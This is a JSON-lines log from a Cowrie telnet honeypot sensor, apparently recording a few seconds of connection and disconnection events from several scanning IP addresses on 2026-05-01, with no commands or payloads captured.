{"eventid":"cowrie.session.closed","duration":31.095672130584717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.468368Z","src_ip":"51.15.157.40","session":"f0ec0eeaf90d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60706,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd07020410de","protocol":"telnet","message":"New connection: 51.15.157.40:60706 (159.203.135.109:23) [session: dd07020410de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.532703Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35820,"dst_ip":"159.203.135.109","dst_port":23,"session":"c034c16860e8","protocol":"telnet","message":"New connection: 51.15.157.40:35820 (159.203.135.109:23) [session: c034c16860e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.539739Z"}
{"eventid":"cowrie.session.closed","duration":30.730798721313477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.595981Z","src_ip":"51.15.157.40","session":"300790a90e0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.724016427993774,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.679172Z","src_ip":"51.15.157.40","session":"4cc59e0f8bea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42422,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c9fbcc1b0f6","protocol":"telnet","message":"New connection: 157.15.20.138:42422 (159.203.135.109:23) [session: 9c9fbcc1b0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.943437Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37276,"dst_ip":"159.203.135.109","dst_port":23,"session":"f05130542c18","protocol":"telnet","message":"New connection: 51.15.157.40:37276 (159.203.135.109:23) [session: f05130542c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:00.971672Z"}
{"eventid":"cowrie.session.closed","duration":31.3456609249115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.008080Z","src_ip":"51.15.157.40","session":"100b88838777","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82695722579956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.039216Z","src_ip":"104.236.196.85","session":"4af91776b035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.545174837112427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.198888Z","src_ip":"157.15.20.138","session":"d82d32f87d89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42398,"dst_ip":"159.203.135.109","dst_port":23,"session":"a787c16e415e","protocol":"telnet","message":"New connection: 157.15.20.138:42398 (159.203.135.109:23) [session: a787c16e415e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.203790Z"}
{"eventid":"cowrie.session.closed","duration":30.593494415283203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.213143Z","src_ip":"157.15.20.138","session":"a850bf3d194b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562045335769653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.296124Z","src_ip":"51.15.157.40","session":"3c67827fc32c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.936021327972412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.551007Z","src_ip":"51.15.157.40","session":"2c8bd3a6b474","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":43926,"dst_ip":"159.203.135.109","dst_port":23,"session":"70335d03b24a","protocol":"telnet","message":"New connection: 34.69.118.1:43926 (159.203.135.109:23) [session: 70335d03b24a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.585656Z"}
{"eventid":"cowrie.session.closed","duration":31.4728901386261,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.715657Z","src_ip":"51.15.157.40","session":"ceca54cb35d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36908,"dst_ip":"159.203.135.109","dst_port":23,"session":"b695e162243c","protocol":"telnet","message":"New connection: 51.15.157.40:36908 (159.203.135.109:23) [session: b695e162243c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:01.853250Z"}
{"eventid":"cowrie.session.closed","duration":31.128833770751953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.056490Z","src_ip":"89.39.83.70","session":"b6fb036afb80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.469324588775635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.132247Z","src_ip":"157.15.20.138","session":"61b1cce4f99f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89853811264038,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.163688Z","src_ip":"51.15.157.40","session":"32b6a61ffd08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40914,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a15ee2e750f","protocol":"telnet","message":"New connection: 51.15.157.40:40914 (159.203.135.109:23) [session: 9a15ee2e750f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.218175Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41302,"dst_ip":"159.203.135.109","dst_port":23,"session":"909fe8027613","protocol":"telnet","message":"New connection: 51.15.157.40:41302 (159.203.135.109:23) [session: 909fe8027613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.319483Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":43112,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf5f0adea0ae","protocol":"telnet","message":"New connection: 104.236.196.85:43112 (159.203.135.109:23) [session: bf5f0adea0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.346088Z"}
{"eventid":"cowrie.session.closed","duration":31.526002168655396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.638593Z","src_ip":"51.15.157.40","session":"4ff144c7a445","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42426,"dst_ip":"159.203.135.109","dst_port":23,"session":"6df75b823292","protocol":"telnet","message":"New connection: 157.15.20.138:42426 (159.203.135.109:23) [session: 6df75b823292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.856996Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42438,"dst_ip":"159.203.135.109","dst_port":23,"session":"17630655ec44","protocol":"telnet","message":"New connection: 157.15.20.138:42438 (159.203.135.109:23) [session: 17630655ec44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.915295Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43124,"dst_ip":"159.203.135.109","dst_port":23,"session":"83e4a475a090","protocol":"telnet","message":"New connection: 51.15.157.40:43124 (159.203.135.109:23) [session: 83e4a475a090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.919348Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":39048,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7c006e02795","protocol":"telnet","message":"New connection: 103.171.45.122:39048 (159.203.135.109:23) [session: e7c006e02795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:02.971642Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43324,"dst_ip":"159.203.135.109","dst_port":23,"session":"11888f8a9d31","protocol":"telnet","message":"New connection: 51.15.157.40:43324 (159.203.135.109:23) [session: 11888f8a9d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.006551Z"}
{"eventid":"cowrie.session.closed","duration":30.323312520980835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.112274Z","src_ip":"51.15.157.40","session":"3b997a26a37e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":43142,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0bbe0137584","protocol":"telnet","message":"New connection: 104.236.196.85:43142 (159.203.135.109:23) [session: d0bbe0137584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.186379Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43850,"dst_ip":"159.203.135.109","dst_port":23,"session":"74cf2b5ed2b3","protocol":"telnet","message":"New connection: 51.15.157.40:43850 (159.203.135.109:23) [session: 74cf2b5ed2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.212848Z"}
{"eventid":"cowrie.session.closed","duration":30.610920190811157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.351480Z","src_ip":"157.15.20.138","session":"5f8fba86c9ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44608,"dst_ip":"159.203.135.109","dst_port":23,"session":"c214e2be4a6b","protocol":"telnet","message":"New connection: 51.15.157.40:44608 (159.203.135.109:23) [session: c214e2be4a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.407846Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45214,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee549c6da27","protocol":"telnet","message":"New connection: 51.15.157.40:45214 (159.203.135.109:23) [session: cee549c6da27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.556662Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45800,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e893130f15d","protocol":"telnet","message":"New connection: 51.15.157.40:45800 (159.203.135.109:23) [session: 0e893130f15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.715627Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46122,"dst_ip":"159.203.135.109","dst_port":23,"session":"71bc820de1f2","protocol":"telnet","message":"New connection: 51.15.157.40:46122 (159.203.135.109:23) [session: 71bc820de1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:03.829477Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":46706,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac4c8a3a1bd0","protocol":"telnet","message":"New connection: 51.15.157.40:46706 (159.203.135.109:23) [session: ac4c8a3a1bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.047884Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":44466,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f60baa22c3e","protocol":"telnet","message":"New connection: 89.39.83.70:44466 (159.203.135.109:23) [session: 9f60baa22c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.062346Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43800,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2ab5071806b","protocol":"telnet","message":"New connection: 51.15.157.40:43800 (159.203.135.109:23) [session: a2ab5071806b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.184185Z"}
{"eventid":"cowrie.session.closed","duration":30.813567638397217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.247079Z","src_ip":"51.15.157.40","session":"ec074ad7cad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.911452293395996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.251003Z","src_ip":"51.15.157.40","session":"d86444ebf9f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825708627700806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.254550Z","src_ip":"51.15.157.40","session":"543b0e84b69d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47746,"dst_ip":"159.203.135.109","dst_port":23,"session":"6848d6acb08b","protocol":"telnet","message":"New connection: 51.15.157.40:47746 (159.203.135.109:23) [session: 6848d6acb08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.397561Z"}
{"eventid":"cowrie.session.closed","duration":31.02434206008911,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.549704Z","src_ip":"103.171.45.122","session":"9c098e7c5c6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45684,"dst_ip":"159.203.135.109","dst_port":23,"session":"c706df427736","protocol":"telnet","message":"New connection: 51.15.157.40:45684 (159.203.135.109:23) [session: c706df427736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.674433Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49074,"dst_ip":"159.203.135.109","dst_port":23,"session":"84951b6a7228","protocol":"telnet","message":"New connection: 51.15.157.40:49074 (159.203.135.109:23) [session: 84951b6a7228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.819939Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49190,"dst_ip":"159.203.135.109","dst_port":23,"session":"42161931cd47","protocol":"telnet","message":"New connection: 51.15.157.40:49190 (159.203.135.109:23) [session: 42161931cd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.857642Z"}
{"eventid":"cowrie.session.closed","duration":31.120655059814453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.863434Z","src_ip":"51.15.157.40","session":"cca34b81b7bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115276336669922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.870848Z","src_ip":"157.15.20.138","session":"c26227724e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496172189712524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:04.964590Z","src_ip":"51.15.157.40","session":"c7c5b4b23c97","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49540,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fddc3ac8fa2","protocol":"telnet","message":"New connection: 51.15.157.40:49540 (159.203.135.109:23) [session: 7fddc3ac8fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.000250Z"}
{"eventid":"cowrie.session.closed","duration":31.655192375183105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.037831Z","src_ip":"51.15.157.40","session":"420fb896ae90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374892234802246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.142040Z","src_ip":"51.15.157.40","session":"9be2b74120d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.697190046310425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.152950Z","src_ip":"51.15.157.40","session":"2676edcb0a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616563320159912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.194542Z","src_ip":"51.15.157.40","session":"a42f7b412c93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50248,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4d8b8a245dd","protocol":"telnet","message":"New connection: 51.15.157.40:50248 (159.203.135.109:23) [session: b4d8b8a245dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.295996Z"}
{"eventid":"cowrie.session.closed","duration":30.59626793861389,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.356834Z","src_ip":"157.15.20.138","session":"1b5b40fb9d67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766311645507812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.470297Z","src_ip":"51.15.157.40","session":"2736ec03c021","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50890064239502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.480186Z","src_ip":"34.69.118.1","session":"17fe4163e559","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51500,"dst_ip":"159.203.135.109","dst_port":23,"session":"e12434cae2cc","protocol":"telnet","message":"New connection: 51.15.157.40:51500 (159.203.135.109:23) [session: e12434cae2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.617460Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":43156,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e89bff865bf","protocol":"telnet","message":"New connection: 104.236.196.85:43156 (159.203.135.109:23) [session: 5e89bff865bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.839479Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52550,"dst_ip":"159.203.135.109","dst_port":23,"session":"fad30864d316","protocol":"telnet","message":"New connection: 51.15.157.40:52550 (159.203.135.109:23) [session: fad30864d316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:05.992492Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":52620,"dst_ip":"159.203.135.109","dst_port":23,"session":"5625eaab9968","protocol":"telnet","message":"New connection: 51.15.157.40:52620 (159.203.135.109:23) [session: 5625eaab9968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.021148Z"}
{"eventid":"cowrie.session.closed","duration":31.257447004318237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.101696Z","src_ip":"51.15.157.40","session":"1bda7607e163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":34512,"dst_ip":"159.203.135.109","dst_port":23,"session":"1312669d28ec","protocol":"telnet","message":"New connection: 103.171.45.122:34512 (159.203.135.109:23) [session: 1312669d28ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.146477Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":42480,"dst_ip":"159.203.135.109","dst_port":23,"session":"71d5184d4aa3","protocol":"telnet","message":"New connection: 157.15.20.138:42480 (159.203.135.109:23) [session: 71d5184d4aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.183192Z"}
{"eventid":"cowrie.session.closed","duration":30.439794778823853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.224192Z","src_ip":"157.15.20.138","session":"378c670d5e23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792107343673706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.234921Z","src_ip":"103.171.45.122","session":"dc6b3d7a983f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73873019218445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.241361Z","src_ip":"103.171.45.122","session":"b3ae79663445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.2716805934906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.248099Z","src_ip":"103.171.45.122","session":"16b7ccbe5383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39404,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e204e973fc0","protocol":"telnet","message":"New connection: 157.15.20.138:39404 (159.203.135.109:23) [session: 1e204e973fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.252609Z"}
{"eventid":"cowrie.session.closed","duration":31.010733127593994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.258829Z","src_ip":"103.171.45.122","session":"a822ee3fb045","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290217876434326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.455029Z","src_ip":"62.171.133.168","session":"3988da114c61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54286,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba8f854a74f","protocol":"telnet","message":"New connection: 51.15.157.40:54286 (159.203.135.109:23) [session: aba8f854a74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.552613Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":39420,"dst_ip":"159.203.135.109","dst_port":23,"session":"35611f610b9b","protocol":"telnet","message":"New connection: 157.15.20.138:39420 (159.203.135.109:23) [session: 35611f610b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.860590Z"}
{"eventid":"cowrie.session.closed","duration":31.746029376983643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:06.977620Z","src_ip":"157.15.20.138","session":"39a652b5de57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.28386902809143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.059198Z","src_ip":"51.15.157.40","session":"f4127bf07860","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37191152572632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.134179Z","src_ip":"157.15.20.138","session":"8d7a1d5487a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143754720687866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.303199Z","src_ip":"157.15.20.138","session":"856b820b9866","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.097367763519287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.337422Z","src_ip":"157.15.20.138","session":"3e6c994ac372","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.461581707000732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:07.417717Z","src_ip":"51.15.157.40","session":"36d4563d6c9e","protocol":"telnet"}
